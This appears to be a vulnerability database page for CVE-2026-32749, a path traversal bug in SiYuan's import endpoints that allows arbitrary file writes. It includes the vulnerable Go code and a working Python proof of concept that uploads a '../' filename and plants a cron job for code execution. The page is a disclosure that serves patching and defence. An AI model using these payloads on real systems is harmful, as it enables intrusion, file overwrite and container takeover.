7.6high
SiYuan importSY/importZipMd: Path Traversal via multipart filename enables arbitrary file write
- Severity
- 7.6high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.66% (higher than 47% of CVEs)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-qvvf-q994-x79vGO-2026-4707
Description
SiYuan is a personal knowledge management system. In versions 3.6.0 and below, POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE. This can lead to aata destruction by overwriting workspace or application files, and for Docker containers running as root (common default), this grants full container compromise. This issue has been fixed in version 3.6.1.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| siyuan-note siyuan | < 3.6.1 | CVE List |
| github.com/siyuan-note/siyuan/kernel (Go) | up to 0.0.0-20260313024916-fd6526133bb3, all versions | GitHub Advisory Database, Go Vulnerability Database |
| b3log siyuan | before 3.6.1 | NVD |
All scores
| GitHub_M | 7.6high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N |
| GitHub | 7.6high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N |
| NVD | 9.1critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
Classification
What each source says
CVE List
SiYuan is a personal knowledge management system. In versions 3.6.0 and below, POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE. This can lead to aata destruction by overwriting workspace or application files, and for Docker containers running as root (common default), this grants full container compromise. This issue has been fixed in version 3.6.1.
GitHub Advisory Database
Summary
POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.
Details
File: kernel/api/import.go - functions importSY and importZipMd
file := files[0]
writePath := filepath.Join(util.TempDir, "import", file.Filename)
writer, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)
importZipMd has a second traversal in unzipPath construction:
filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))
unzipPath := filepath.Join(util.TempDir, "import", filenameMain)
gulu.Zip.Unzip(writePath, unzipPath)
filepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.
PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
import requests, zipfile, io
HOST = "http://localhost:6806"
TOKEN = "YOUR_ADMIN_TOKEN"
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr("TestNB/20240101000000-abcdefg.sy",
'{"ID":"20240101000000-abcdefg","Spec":"1","Type":"NodeDocument","Children":[]}')
z.writestr("TestNB/.siyuan/sort.json", "{}")
buf.seek(0)
r = requests.post(f"{HOST}/api/import/importSY",
headers={"Authorization": f"Token {TOKEN}"},
files={"file": ("../../data/TRAVERSAL_PROOF.zip", buf.read(), "application/zip")},
data={"notebook": "YOUR_NOTEBOOK_ID", "toPath": "/"})
print(r.text)
RCE via cron (root container):
cron = b"* * * * * root touch /tmp/RCE_CONFIRMED\n"
r = requests.post(f"{HOST}/api/import/importSY",
headers={"Authorization": f"Token {TOKEN}"},
files={"file": ("../../../../../etc/cron.d/siyuan_poc", cron, "application/zip")},
data={"notebook": "NOTEBOOK_ID", "toPath": "/"})
Confirmed response on v3.6.0: {"code":0,"msg":"","data":null}
Impact
An admin can write arbitrary content to any path writable by the SiYuan process:
- RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys
- Data destruction by overwriting workspace or application files
- In Docker containers running as root (common default), this grants full container compromise
Go Vulnerability Database
SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write in github.com/siyuan-note/siyuan/kernel
NVD (es)
SiYuan es un sistema de gestión de conocimiento personal. En las versiones 3.6.0 e inferiores, POST /API/import/importSY y POST /API/import/importZipMd escriben archivos subidos a una ruta derivada del campo de nombre de archivo multipart sin sanitización, permitiendo a un administrador escribir archivos en ubicaciones arbitrarias fuera del directorio temporal, incluyendo rutas del sistema que permiten RCE. Esto puede llevar a la destrucción de datos al sobrescribir archivos de espacio de trabajo o de aplicación, y para contenedores Docker que se ejecutan como root (valor predeterminado común), esto otorga un compromiso total del contenedor. Este problema ha sido solucionado en la versión 3.6.1.
References
| https://github.com/siyuan-note/siyuan/security/advisories/GHSA-qvvf-q994-x79v | advisory, exploit, vendor-advisory, web | |
| https://github.com/siyuan-note/siyuan/commit/5ee00907f0b0c4aca748ce21ef1977bb98178e14 | patch, web | |
| https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1 | release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-32749 | advisory | |
| https://github.com/siyuan-note/siyuan | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-32749 changed 2026-03-20 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-qvvf-q994-x79v changed 2026-03-30 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-4707 changed 2026-03-26 | CC-BY-4.0 |
| NVD | CVE-2026-32749 changed 2026-06-17 | Public domain |